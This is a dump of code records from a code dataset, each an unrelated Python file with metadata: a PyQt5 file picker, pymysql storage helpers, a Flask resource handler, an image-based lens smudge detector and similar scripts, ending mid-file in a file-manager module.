1e-3:\r\n\t\tprint('error in pi_approx_leibniz')\r\n\r\n\t# Q2 d\r\n\tgen = unit_slicing()\r\n\tif [next(gen) for i in range(4)] != [[0.0], [0.0, 0.5], [0.0, 0.25, 0.5, 0.75], [0.0, 0.125, 0.25, 0.375, 0.5, 0.625, 0.75, 0.875]]:\r\n\t\tprint('error in unit_slicing')\r\n\r\n\tb = 10\r\n\ttrue_val = math.log(b)\r\n\tgen = integral(lambda x: 1 / x, 1, b)\r\n\tfirst_apporx = next(gen)\r\n\t[next(gen) for i in range(8)]\r\n\ttenth_approx = next(gen)\r\n\t[next(gen) for i in range(9)]\r\n\ttwentyth_approx = next(gen)\r\n\tif abs(first_apporx - true_val) < abs(tenth_approx - true_val) or \\\r\n\t\t\tabs(tenth_approx - true_val) < abs(twentyth_approx - true_val) or \\\r\n\t\t\tabs(twentyth_approx - true_val) > 1e-4:\r\n\t\tprint('error in integral')\r\n\t\r\n\tgen = pi_approx_integral()\r\n\tfirst_apporx = next(gen)\r\n\t[next(gen) for i in range(8)]\r\n\ttenth_approx = next(gen)\r\n\t[next(gen) for i in range(9)]\r\n\ttwentyth_approx = next(gen)\r\n\tif abs(first_apporx - math.pi) < abs(tenth_approx - math.pi) or \\\r\n\t\t\tabs(tenth_approx - math.pi) < abs(twentyth_approx - math.pi) or \\\r\n\t\t\tabs(twentyth_approx - math.pi) > 1e-5:\r\n\t\tprint('error in pi_approx_integral')\r\n\r\n\t############\r\n\t# QUESTION 6\r\n\t############\r\n\r\n\t# Q6 c\r\n\trule_dict = {\"S\": {\"AB\", \"BC\"}, \"A\": {\"BA\", \"a\"}, \"B\": {\"CC\", \"b\"}, \"C\": {\"AB\", \"a\"}}\r\n\tif CYK_d(\"baaba\", rule_dict, \"S\") != 4:\r\n\t\tprint(\"Error in CYK_d1\")\r\n\r\n\tif CYK_d(\"baab\", rule_dict, \"S\") != -1:\r\n\t\tprint(\"Error in CYK_d2\")\r\n\t\t","sub_path":"hw6_206962359_original.py","file_name":"hw6_206962359_original.py","file_ext":"py","file_size_in_byte":8634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"497921046","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\nZetCode PyQt5 tutorial\n\nThis example shows text which\nis entered in a QLineEdit\nin a QLabel widget.\n\nAuthor: Jan Bodnar\nWebsite: zetcode.com\nLast edited: August 2017\n\"\"\"\n\nimport sys\nimport os\nfrom PyQt5.QtWidgets import (QWidget, QApplication, QPushButton, QFileDialog)\n\n\n\n\n\nclass Example(QWidget):\n\n\n    def __init__(self):\n        super().__init__()\n        self.initUI()\n\n\n    def initUI(self):\n        self.setGeometry(300, 300, 280, 170)\n        self.setWindowTitle(\"File picker\")\n        btn = QPushButton(\"Choose a file\", self)\n        btn.clicked.connect(self.openFile)\n        btn.setGeometry(100, 50, 100, 40)\n\n        self.show()\n\n\n    def openFile(self):\n        name = QFileDialog.getOpenFileName(self, \"Choose file\")\n        print(name)\n\n\n\nif __name__ == '__main__':\n    app = QApplication(sys.argv)\n    ex = Example()\n    sys.exit(app.exec_())","sub_path":"PycharmProjects/qtDesigner/test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"175311242","text":"import os, sys, json, unittest\nfrom package.code.exceptions import *\nfrom package.code.logger import Logger \n\n\ndef loadSettings():\n    with open('package/settings.json', 'r') as jfile:\n        loaded_data = json.load(jfile)\n\n    curr_path = '/'.join(os.path.realpath(__file__).split('\\\\')[:-1])\n    loaded_data['logpath'] = '{}/{}'.format(curr_path, loaded_data['logpath'])\n    \n    return loaded_data\n\ndef testModules():\n    import package.test.LoggerTester as TestLogger\n    loader = unittest.TestLoader()\n    suite = unittest.TestSuite()\n\n    suite.addTests(loader.loadTestsFromModule(TestLogger))\n\n    runner = unittest.TextTestRunner(verbosity = 3)\n    result = runner.run(suite)\n\nif __name__ == '__main__':\n    settings = loadSettings()\n    syslog = Logger(settings)\n    syslog.logAction(\"Main initiated.\")\n    \n    try:\n        for sysarg in sys.argv[1:]:\n            if sysarg == '-t' or sysarg == '-test':\n                syslog.logAction(\"Testing procedures initiated.\")\n                testModules()\n                syslog.logAction(\"Test fixtures executed successfully.\")\n            elif sysarg == '-c' or sysarg == '-clear':\n                with open(syslog.log_path, 'w') as lfile:\n                    lfile.write(\"\")\n                syslog.logAction(\"Log file purged.\")\n            else:\n                raise MPArgvException\n    except Exception as e:\n        syslog.logAction(e)\n        syslog.logAction(\"Ended with failure.\")\n    finally:\n        syslog.logAction('Main End.\\n')\n        syslog.writeOut()    \n    ","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"25064244","text":"# -*- encoding=utf-8 -*-\n\nimport pymysql\n\n\ndef get_conn():\n    conn = pymysql.connect(\n        host=\"localhost\",\n        port=3306,\n        user=\"yjy\",\n        passwd=\"yyyyyy\",\n        db=\"yjy\",\n        charset=\"utf8\"\n    )\n    return conn\n\n\ndef save(data):\n    \"\"\"\n    插入数据库\n    :param data: (dict) link:链接  data:内容\n    :return:\n    \"\"\"\n    conn = get_conn()\n    cur = conn.cursor()\n    if data and data.get(\"data\"):\n        try:\n            sql = \"insert into cnblogs (c_link,c_data) values (%s, %s)\"\n            cur.execute(sql, (data.get(\"link\"), data.get(\"data\")))\n        except Exception as e:\n            print(str(e)[:50])\n        finally:\n            conn.commit()\n            cur.close()\n            conn.close()\n\n\ndef check_link(link):\n    \"\"\"\n    检查url是否符合条件,并检查是否重复\n    :param link:\n    :return: True:符合条件  False:不符合条件\n    \"\"\"\n    flag = False\n    conn = get_conn()\n    cur = conn.cursor()\n    try:\n        sql = 'select count(*) from cnblogs where c_link = %s'\n        cur.execute(sql, (link,))\n        res = cur.fetchone()\n        if res[0] == 0:\n            flag = True\n    except Exception as e:\n        print(str(e)[:50])\n    finally:\n        cur.close()\n        conn.close()\n        return flag\n\n\n","sub_path":"Web/Crawler/Cnblogs/save_data.py","file_name":"save_data.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"20130838","text":"\"\"\"Utilities.\"\"\"\nfrom __future__ import absolute_import, division, print_function\n\nimport functools\nimport re\n\nfrom Bio.File import as_handle\n\n\ndef report_bad_line(line_parser):\n    @functools.wraps(line_parser)\n    def wrapper(line):\n        try:\n            return line_parser(line)\n        except ValueError:\n            raise ValueError(\"Bad line: %r\" % line)\n    return wrapper\n\n\ndef sniff_region_format(fname):\n    \"\"\"Guess whether the file format is BED, Picard interval list, or text.\n\n    Returns a tuple of the format name (str) or None if the file is empty.\n    \"\"\"\n    with as_handle(fname, 'rU') as handle:\n        for line in handle:\n            if not line.strip():\n                continue\n            if '\\t' not in line and ':' in line and '-' in line:\n                return 'text'\n            if line.startswith('@') or re.match('\\w+\\t\\d+\\t\\d+\\t(\\+|-|\\.)\\t\\S+',\n                                                line):\n                return 'interval'\n            if line.startswith('track') or line.count('\\t') > 1:\n                return 'bed'\n            raise ValueError(\"File \" + repr(fname) + \" does not appear to \"\n                             + \"be BED, interval list, or 'chr:start-end' \"\n                             + \"text!\\nFirst non-blank line: \" + repr(line))\n","sub_path":"cnvlib/tabio/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"50462441","text":"# -*- coding: utf-8 -*-\n'''\nCreated on 26 de abr de 2018\n\n@author: koliveirab\n'''\nfrom behave import *\nfrom time import sleep\n\n@given(\"Inserimos o valor {primeiro}\")\ndef inserir_valor(context,primeiro):\n    sleep(2)\n    context.calc.clica(\"1\",\"name\")\n    sleep(2)\n    context.calc.clica(primeiro,tipo=\"name\")\n    \n    \n@when(\"quando temos a {operador} do primeiro com {segundo}\")\ndef operamos(context,operador,segundo):\n    elemento=context.operador.operador(operador)\n    context.calc.clica(elemento,\"name\")\n    context.calc.clica(segundo,\"name\")\n    \n@then(\"teremos o resultado:{resultado}\")\ndef resultado(context,resultado):\n    context.calc.clica(\"=\",tipo=\"name\")\n    resultados=context.calc.pegar_texto(\"CalcText\",\"id\")\n    result=context.asserts.verifica_valor(resultados,resultado)\n    \n    \n@given(\"Zeramos o nosso contador\")\n@when(\"Inserimos o primeiro valor\")\n@when(\"Somamos o segundo Valor\")\n@then(\"Temos o valór de :\")\n@then(\"e diferente de zero\")\ndef step(context):\n    pass","sub_path":"steps/steps.py","file_name":"steps.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"274071202","text":"\n\n#######\n\"\"\"\nNa dwóch listach z plików 'meetup_list.csv' i 'meetup_list2.csv' występują powtórki.\nPotrzebujemy mieć jedną, spójną listę, posortowaną alfabetycznie dla sprawnego przeprowadzenia rejestracji.\nZaczytaj dane, wyrzuć powtórki, skompiluj w jedną listę i wypisz.\n\"\"\"\n\n#######\n\nfacebook_list = 'data/meetup_list.csv'\nmeetup_list = 'data/meetup_list2.csv'\n\n","sub_path":"meetup_list_compilation.py","file_name":"meetup_list_compilation.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"177596509","text":"from flask import jsonify\n\nfrom dao.resource import ResourcesDAO\n\n\nclass ResourceHandler:\n    def build_resource_dict(self, row):\n        result = {}\n        result['rid'] = row[0]\n        result['sid'] = row[1]\n        result['rname'] = row[2]\n        result['cost'] = row[3]\n        result['resAmount'] = row[4]\n        result['buyable'] = row[5]\n        result['location'] = row[6]\n\n\n\n        return result\n\n    def build_supplier_dict(self, row):\n        result = {}\n        result['sid'] = row[0]\n        result['sname'] = row[1]\n        result['sphone'] = row[5]\n        result['scity'] = row[6]\n\n        return result\n\n    def build_resource_attributes(self, rid, sid, rname, cost, resv_amount):\n        result = {}\n        result['rid'] = rid\n        result['sid'] = sid\n        result['cost'] = rname\n        result['rname'] = cost\n        result['resv_amount'] = resv_amount\n        return result\n\n    def getAllResources(self):\n        dao = ResourcesDAO()\n        resources_list = dao.getAllResources()\n        result_list = []\n        for row in resources_list:\n            result = self.build_resource_dict(row)\n            result_list.append(result)\n        return jsonify(Resources=result_list)\n\n    def getResourceById(self, rid):\n        dao = ResourcesDAO()\n        row = dao.getResourcesById(rid)\n        if not row:\n            return jsonify(Error=\"Resource Not Found\"), 404\n        else:\n            resource = self.build_resource_dict(row)\n            return jsonify(Resource=resource)\n\n    def searchResources(self, args):                                                     #Fixed\n        name = args.get(\"name\")\n        cost = args.get(\"cost\")\n        dao = ResourcesDAO()\n        resources_list = []\n        if (len(args) == 2) and name and cost:\n            resources_list = dao.getResourcesByNameAndCost(name, cost)\n        elif (len(args) == 1) and name:\n            resources_list = dao.getResourcesByName(name)\n        elif (len(args) == 1) and cost:\n            resources_list = dao.getResourcesByCost(cost)\n        else:\n            return jsonify(Error=\"Malformed query string\"), 400\n        result_list = []\n        for row in resources_list:\n            result = self.build_resource_dict(row)\n            result_list.append(result)\n        return jsonify(Resources=result_list)\n\n    def getSuppliersByResourceId(self, rid):\n        dao = ResourcesDAO()\n        if not dao.getResourceById(rid):\n            return jsonify(Error=\"Resource Not Found\"), 404\n        suppliers_list = dao.getSuppliersByResourceId(rid)\n        result_list = []\n        for row in suppliers_list:\n            result = self.build_supplier_dict(row)\n            result_list.append(result)\n        return jsonify(Suppliers=result_list)\n\n    def insertResourcesJson(self, form):\n        print(\"form: \", form)\n        if len(form) != 4:\n            return jsonify(Error=\"Malformed post request\"), 400\n        else:\n            sid = form['sid']\n            resv_amount = form['resv_amount']\n            cost = form['cost']\n            rname = form['rname']\n            if rname and resv_amount and cost and sid:\n                dao = ResourcesDAO()\n                rid = dao.insert(sid, rname, cost, resv_amount)\n                result = self.build_resource_attributes(rid, sid, rname, cost, resv_amount)\n                return jsonify(Resource=result), 201\n            else:\n                return jsonify(Error=\"Unexpected attributes in post request\"), 400\n\n    def insertResourceBySupplierIdJson(self,rid, json):\n        sid = json['sid']\n        resv_amount = json['resv_amount']\n        cost = json['cost']\n        rname = json['rname']\n        if rname and resv_amount and cost and sid:\n            dao = ResourcesDAO()\n            r = dao.insert(rid,sid, rname, cost, resv_amount)\n            if r:\n                result = self.build_resource_attributes(rid, sid, rname, cost, resv_amount)\n                return jsonify(Resource=result), 201\n            else:\n                return jsonify(Error=\"Resource not found or invalid supplier id.\"), 404\n        else:\n            return jsonify(Error=\"Unexpected attributes in post request\"), 400\n\n    def deleteResource(self, rid):\n        dao = ResourcesDAO()\n        if not dao.getResourceById(rid):\n            return jsonify(Error=\"Resource not found.\"), 404\n        else:\n            dao.delete(rid)\n            return jsonify(DeleteStatus=\"OK\"), 200\n\n    def updateResource(self, rid, form):\n        dao = ResourcesDAO()\n        if not dao.getResourceById(rid):\n            return jsonify(Error=\"Resource not found.\"), 404\n        else:\n            if len(form) != 4:\n                return jsonify(Error=\"Malformed update request\"), 400\n            else:\n                sid = form['sid']\n                resv_amount = form['resv_amount']\n                cost = form['cost']\n                rname = form['rname']\n                if rname and resv_amount and cost and sid:\n                    dao.update(rid, sid, rname, cost, resv_amount)\n                    result = self.build_resource_attributes(rid, sid, rname, cost, resv_amount)\n                    return jsonify(Resource=result), 200\n                else:\n                    return jsonify(Error=\"Unexpected attributes in update request\"), 400\n\n    def build_resource_counts(self, resource_counts):\n        result = []\n        # print(resource_counts)\n        for P in resource_counts:\n            D = {}\n            D['id'] = P[0]\n            D['name'] = P[1]\n            D['count'] = P[2]\n            result.append(D)\n        return result\n\n    def getCountByResourceId(self):\n        dao = ResourcesDAO()\n        result = dao.getCountByResourceId()\n        # print(self.build_resource_counts(result))\n        return jsonify(ResourceCounts=self.build_resource_counts(result)), 200\n","sub_path":"handler/resource.py","file_name":"resource.py","file_ext":"py","file_size_in_byte":5812,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"49300448","text":"# Program to find smears on camera lens by averaging multiple photo's worth of\n#   pixel values and using thresholding techniques in openCV\n\n# Use by going to directory which holds \"sample_drive\" and entering which\n#   camera to use. (0-3, 5) as the second argument.\n\nimport sys\nimport numpy as np\nimport cv2\nimport os\n\ndef find_mean_img(file_list):\n    # parameter for number of photos to test\n    test_size = 301\n\n    # create a matrix to store the pixel values after resize\n    mean_matrix = np.zeros((1000,1000,3),np.float)\n\n    # reseize each image and store pixel value\n    print('Processing...')\n    image_count = 0;\n    while image_count < len(file_list):\n        img = cv2.imread(photo_dir_path+file_list[image_count])\n        img = cv2.resize(img,(1000,1000))\n        img = cv2.GaussianBlur(img,(5,5),0)\n        img_matrix = np.array(img, dtype=np.float)\n        mean_matrix += img_matrix\n        image_count += (len(file_list) / test_size)\n\n    # find avg pixel values\n    mean_matrix = mean_matrix / (test_size)\n    mean_matrix = np.array(np.round(mean_matrix),dtype=np.uint8)\n\n    cv2.imwrite('cam_'+str(cam)+\"_mean.jpg\",mean_matrix)\n    return mean_matrix\n\ndef create_mask(mean_img):\n    # cv2.adaptiveThreshold parameters\n    thresh_block_size = 101\n    subtracted_constant = 6\n\n    # Convert mean image to grayscale\n    gray = cv2.cvtColor(mean_img,cv2.COLOR_BGR2GRAY)\n    mean_matrix = np.array(np.round(gray),dtype=np.uint8)\n\n    # Binarize image with adaptiveThreshold\n    mean_thresh = cv2.adaptiveThreshold(mean_matrix,255,\\\n    cv2.ADAPTIVE_THRESH_GAUSSIAN_C,cv2.THRESH_BINARY_INV,\\\n    thresh_block_size, subtracted_constant)\n\n    return mean_thresh\n\ndef show_smudge(mask_img):\n    # contour size limits\n    min_cnt_area = 500\n    max_cnt_area = 3000\n\n    # Pull random image\n    rand_number = np.random.randint(low=0, high=len(file_list))\n    rand_img = cv2.imread(photo_dir_path+file_list[rand_number])\n    rand_img = cv2.resize(rand_img,(1000,1000))\n\n    # find the contours on the mask and check for appropriate size\n    _,contours,hierarchy = cv2.findContours(mask_img, cv2.RETR_TREE,cv2.CHAIN_APPROX_SIMPLE)\n\n    # print(hierarchy[0])\n    cnt_count = 0\n    for cnt in contours:\n        area = cv2.contourArea(cnt)\n        # print(area)\n        if area > min_cnt_area and area < max_cnt_area:\n            # draw smudge on random image\n            rand_img = cv2.drawContours(rand_img,cnt,-1,(0,255,0),3)\n            cv2.imwrite('cam_'+str(cam)+\"_found.jpg\",rand_img)\n            cnt_count += 1\n    if cnt_count == 0:\n        print(\"No Smudge Found\")\n    else:\n        print(\"Found Smudge\")\n\n\nif __name__ == \"__main__\":\n    # check for correct number of arguments\n    if len(sys.argv) != 2:\n        print('Enter which camera to use. (0-3, 5) as second argument.')\n        sys.exit()\n    cam = int(sys.argv[1])\n    if not cam in (0,1,2,3,5):\n        print('Enter which camera to use. (0-3, 5) as second argument.')\n        sys.exit()\n\n    # Make a list of photo names\n    photo_dir_path = \"sample_drive/cam_\" + str(cam) + \"/\"\n    file_list = os.listdir(photo_dir_path)\n\n    mean_image = find_mean_img(file_list)\n    mask = create_mask(mean_image)\n    cv2.imwrite('cam_'+str(cam)+\"_mask.jpg\",mask)\n    show_smudge(mask)\n","sub_path":"smear_detector.py","file_name":"smear_detector.py","file_ext":"py","file_size_in_byte":3245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"88240552","text":"# https://leetcode.com/problems/sort-colors/discuss/\ndef dutch_flag(pivot_index, A):\n\tpivot = A[pivot_index]\n\tsmaller = 0\n\tfor i in range(len(A)):\n\t\tif A[i] < pivot:\n\t\t\tA[i], A[smaller] = A[smaller], A[i]\n\t\t\tsmaller += 1\n\tlarger = len(A) - 1\n\tfor j in reversed(range(len(A))):\n\t\tif A[j] > pivot:\n\t\t\tA[j],A[larger] = A[larger], A[j]\n\t\t\tlarger -=1\n\treturn A\ntest = [3,5,8,4,0,10,1,2,11]\nprint (dutch_flag(3,test))","sub_path":"leetcode/dutch_flag.py","file_name":"dutch_flag.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"254711570","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Apr  2 13:52:28 2020\n\n\"\"\"\n\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Mar 23 17:53:02 2020\n\n@author: Rasheed el-Bouri\n\"\"\"\nfrom scipy.stats import wasserstein_distance\nimport numpy as np\nimport pandas as pd\n\n\n\nclass curriculum():\n    \n    def __init__(self, dataframe):\n        self.dataframe = dataframe\n        \n    def getMahalanobis(self):\n\n        dataframe = pd.DataFrame(self.dataframe)\n        dataframe = dataframe.reset_index(drop=True)\n        nunique = dataframe.apply(pd.Series.nunique)\n        if dataframe.shape[1] >= 15:\n             cols_to_drop = nunique[nunique <= 2].index\n             dataframe = dataframe.drop(cols_to_drop, axis=1) \n             \n        features = list(dataframe)\n        means = pd.DataFrame(np.zeros(len(features)))\n        covariance = np.cov(dataframe.T)\n        inv_cov = np.linalg.inv(covariance)\n        Mahalanobis = np.zeros(len(dataframe))\n     \n        for j in range(0,len(means)):\n                 means[0][j] = np.mean(dataframe.iloc[:,j])\n                \n        means = means.reset_index(drop=True)\n         \n        for i in range(0,len(dataframe)):\n            first = pd.DataFrame(dataframe.iloc[i,:]).reset_index(drop=True)    \n            \n            V = first[i]-means[0]\n            Mahalanobis[i] = np.sqrt(np.abs(np.dot(np.dot(V.T,inv_cov), V)))#[0][0]\n            \n        \n        return(pd.DataFrame(Mahalanobis))\n        \n            \n         \n    def getCosine(self):\n        \n        dataframe = self.dataframe.reset_index(drop=True)\n        \n        features = list(dataframe)\n        means = pd.DataFrame(np.zeros(len(features)))\n        \n        for j in range(0,len(means)):\n            means[0][j] = np.mean(dataframe.iloc[:,j])\n    \n        l=[]\n        for i in range(0, len(dataframe)):\n            l.append(np.arccos(np.dot(np.array(dataframe[i:i+1]),np.array(means))/(np.linalg.norm(np.array(dataframe[i:i+1]))*np.linalg.norm(np.array(means))))[0])\n        \n        return(pd.DataFrame(np.array(l)))\n       \n    \n    \n    def getWasserstein(self):\n        \n        dataframe = self.dataframe.reset_index(drop=True)\n        \n        uniform = (1/dataframe.shape[1])*np.ones(dataframe.shape[1])\n        \n        l = []\n        for i in range(0,len(dataframe)):\n            l.append(wasserstein_distance(uniform, np.array(dataframe[i:i+1])[0]))\n        \n        return(pd.DataFrame(np.array(l)))\n        \n        \n","sub_path":"curricula/curricula.py","file_name":"curricula.py","file_ext":"py","file_size_in_byte":2484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"364377376","text":"#\n# created by\n# Antonio Garcia-Uceda Juarez\n# PhD student\n# Medical Informatics\n#\n# created on 09/02/2018\n# Last update: 09/02/2018\n########################################################################################\n\nfrom CommonUtil.Constants import *\nfrom CommonUtil.ErrorMessages import *\nfrom CommonUtil.FileReaders import *\nfrom CommonUtil.FunctionsUtil import *\nfrom CommonUtil.PlotsManager import *\nfrom CommonUtil.WorkDirsManager import *\nfrom Networks.Metrics import *\nfrom Preprocessing.OperationsImages import *\nfrom collections import OrderedDict\nimport argparse\n\n\ndef main(args):\n\n    # ---------- SETTINGS ----------\n    nameInputMasksRelPath   = 'ProcMasks'\n    nameTracheaMasksRelPath = 'ProcAllMasks'\n\n    # Get the file list:\n    namePredictionsFiles  = 'predict_probmaps*.nii.gz'\n    nameInputMasksFiles   = '*outerwall.nii.gz'\n    nameTracheaMasksFiles = '*_trachea.nii.gz'\n\n    # template search files\n    tempSearchInputFiles = 'av[0-9]*'\n\n    if (args.calcMasksThresholding):\n        suffixPostProcessThreshold = '_thres%s'%(str(args.thresholdValue).replace('.','-'))\n        if (args.attachTracheaToCalcMasks):\n            suffixPostProcessThreshold += '_withtrachea'\n    else:\n        suffixPostProcessThreshold = ''\n\n    # create file to save accuracy measures on test sets\n    nameAccuracyPredictFiles = 'predict_accuracy_tests%s.txt'%(suffixPostProcessThreshold)\n\n    def update_name_outfile(in_name, in_acc):\n        pattern_accval = getExtractSubstringPattern(in_name, 'acc[0-9]*')\n        new_accval_int = np.round(100*in_acc)\n        out_name = filenamenoextension(in_name).replace('predict_probmaps','predict_binmasks').replace(pattern_accval, 'acc%2.0f'%(new_accval_int))\n        return out_name + '%s.nii.gz'%(suffixPostProcessThreshold)\n\n    tempOutPredictMasksFilename = update_name_outfile\n    # ---------- SETTINGS ----------\n\n\n    workDirsManager       = WorkDirsManager(args.basedir)\n    BaseDataPath          = workDirsManager.getNameBaseDataPath()\n    InputPredictDataPath  = workDirsManager.getNameExistPath(args.basedir, args.predictionsdir)\n    InputMasksPath        = workDirsManager.getNameExistPath(BaseDataPath, nameInputMasksRelPath)\n    OutputPredictMasksPath= workDirsManager.getNameNewPath  (args.basedir, args.predictionsdir)\n\n    listPredictionsFiles    = findFilesDir(InputPredictDataPath, namePredictionsFiles)\n    listGrndTruthMasksFiles = findFilesDir(InputMasksPath,       nameInputMasksFiles)\n\n    nbPredictionsFiles    = len(listPredictionsFiles)\n    nbGrndTruthMasksFiles = len(listGrndTruthMasksFiles)\n\n    # Run checkers\n    if (nbPredictionsFiles == 0):\n        message = \"0 Predictions found in dir \\'%s\\'\" %(InputPredictDataPath)\n        CatchErrorException(message)\n    if (nbGrndTruthMasksFiles == 0):\n        message = \"0 Ground-truth Masks found in dir \\'%s\\'\" %(InputMasksPath)\n        CatchErrorException(message)\n\n\n    if (args.calcMasksThresholding and args.attachTracheaToCalcMasks):\n\n        TracheaMasksPath = workDirsManager.getNameExistPath(BaseDataPath, nameTracheaMasksRelPath)\n\n        listTracheaMasksFiles = findFilesDir(TracheaMasksPath, nameTracheaMasksFiles)\n\n        nbTracheaMasksFiles = len(listTracheaMasksFiles)\n\n        if (nbGrndTruthMasksFiles != nbTracheaMasksFiles):\n            message = \"num Ground-truth Masks %i not equal to num Trachea Masks %i\" %(nbGrndTruthMasksFiles, nbTracheaMasksFiles)\n            CatchErrorException(message)\n\n\n    computePredictAccuracy = DICTAVAILMETRICFUNS(args.predictAccuracyMetrics, use_in_Keras=False)\n\n    listFuns_Metrics = {imetrics: DICTAVAILMETRICFUNS(imetrics, use_in_Keras=False) for imetrics in args.listPostprocessMetrics}\n    out_predictAccuracyFilename = joinpathnames(InputPredictDataPath, nameAccuracyPredictFiles)\n    fout = open(out_predictAccuracyFilename, 'w')\n\n    strheader = '/case/ ' + ' '.join(['/%s/' % (key) for (key, _) in listFuns_Metrics.iteritems()]) + '\\n'\n    fout.write(strheader)\n\n\n\n    for i, predict_probmaps_file in enumerate(listPredictionsFiles):\n\n        print('\\'%s\\'...' %(predict_probmaps_file))\n\n        name_prefix_case = getExtractSubstringPattern(basename(predict_probmaps_file),\n                                                      tempSearchInputFiles)\n\n        for iterfile in listGrndTruthMasksFiles:\n            if name_prefix_case in iterfile:\n                grndtruth_masks_file = iterfile\n        #endfor\n        print(\"assigned to '%s'...\" %(basename(grndtruth_masks_file)))\n\n\n        predict_probmaps_array = FileReader.getImageArray(predict_probmaps_file)\n        grndtruth_masks_array  = FileReader.getImageArray(grndtruth_masks_file)\n\n        print(\"Predictions masks array of size: %s...\" % (str(predict_probmaps_array.shape)))\n\n\n        if (args.calcMasksThresholding):\n            print(\"Threshold probability maps to compute binary masks with threshold value %s...\" % (args.thresholdValue))\n\n            predict_masks_array = ThresholdImages.compute(predict_probmaps_array, args.thresholdValue)\n\n            if (args.attachTracheaToCalcMasks):\n                print(\"IMPORTANT: Attach masks of Trachea to computed prediction masks...\")\n\n                for iterfile in listTracheaMasksFiles:\n                    if name_prefix_case in iterfile:\n                        trachea_masks_file = iterfile\n                # endfor\n                print(\"assigned to: '%s'...\" % (basename(trachea_masks_file)))\n\n                trachea_masks_array = FileReader.getImageArray(trachea_masks_file)\n\n                predict_masks_array   = OperationsBinaryMasks.join_two_binmasks_one_image(predict_masks_array,   trachea_masks_array)\n                grndtruth_masks_array = OperationsBinaryMasks.join_two_binmasks_one_image(grndtruth_masks_array, trachea_masks_array)\n\n\n\n        accuracy = computePredictAccuracy(grndtruth_masks_array, predict_masks_array)\n\n        list_predictAccuracy = OrderedDict()\n\n        for (key, value) in listFuns_Metrics.iteritems():\n            acc_value = value(grndtruth_masks_array, predict_masks_array)\n            list_predictAccuracy[key] = acc_value\n        # endfor\n\n\n        # print list accuracies on screen\n        for (key, value) in list_predictAccuracy.iteritems():\n            print(\"Computed '%s': %s...\" %(key, value))\n        #endfor\n\n        # print list accuracies in file\n        strdata = '\\'%s\\''%(name_prefix_case) + ' ' + ' '.join([str(value) for (_,value) in list_predictAccuracy.iteritems()]) +'\\n'\n        fout.write(strdata)\n\n\n        # Save thresholded final prediction masks\n        if (args.calcMasksThresholding and args.saveThresholdImages):\n            print(\"Saving prediction thresholded binary masks, with dims: %s...\" %(tuple2str(predict_masks_array.shape)))\n\n            out_predictMasksFilename = joinpathnames(OutputPredictMasksPath, tempOutPredictMasksFilename(predict_probmaps_file, accuracy))\n\n            FileReader.writeImageArray(out_predictMasksFilename, predict_masks_array)\n    #endfor\n\n    #close list accuracies file\n    fout.close()\n\n\n\nif __name__ == \"__main__\":\n\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--basedir', default=BASEDIR)\n    parser.add_argument('--predictionsdir', default='Predictions_NEW')\n    parser.add_argument('--predictAccuracyMetrics', default=PREDICTACCURACYMETRICS)\n    parser.add_argument('--listPostprocessMetrics', type=parseListarg, default=LISTPOSTPROCESSMETRICS)\n    parser.add_argument('--calcMasksThresholding', type=str2bool, default=CALCMASKSTHRESHOLDING)\n    parser.add_argument('--thresholdValue', type=float, default=THRESHOLDVALUE)\n    parser.add_argument('--attachTracheaToCalcMasks', type=str2bool, default=ATTACHTRAQUEATOCALCMASKS)\n    parser.add_argument('--saveThresholdImages', type=str2bool, default=SAVETHRESHOLDIMAGES)\n    args = parser.parse_args()\n\n    print(\"Print input arguments...\")\n    for key, value in vars(args).iteritems():\n        print(\"\\'%s\\' = %s\" %(key, value))\n\n    main(args)","sub_path":"PostprocessImagesData.py","file_name":"PostprocessImagesData.py","file_ext":"py","file_size_in_byte":7938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"307077495","text":"import Utils\nimport os, os.path\nimport shutil\nimport functools\nimport stat\nimport re\n\ndef report_progress(app, filename, copied, total):\n    app.UI.msg(\"%s %s/%s %.2f%%\" % (filename, Utils.csize(copied),\n                                    Utils.csize(total), (copied/total)*100), delay = 0)\n\ndef report_progress_and_copy(app):\n    def copy_function(src, dst):\n        Utils.copyfile(src, dst, functools.partial(report_progress, app, dst))\n    return copy_function\n\nclass Dentry:\n    def isdir(self):\n        return self.dirp\n\n    def csize(self):\n        return Utils.csize(self.size)\n\n    def __init__(self, d, name):\n        self.dir = d\n        self.name = name\n        try:\n            self.dirp = Utils.isdir(Utils.npath(self.dir.path(), self.name))\n            self.size = os.stat(self.path()).st_size\n        except FileNotFoundError:\n            self.dirp = False\n            self.size = 0\n\n    def __str__(self):\n        return self.name\n\n    def cname(self):\n        return Utils.printable(str(self))\n\n    def __eq__(self, other):\n        return self.name == other.name and self.dir == other.dir\n\n    def path(self):\n        return Utils.npath(self.dir.path(), self.name)\n\nclass Dir:\n    def gettab(self):\n        return self.tab\n\n    def getapp(self):\n        return 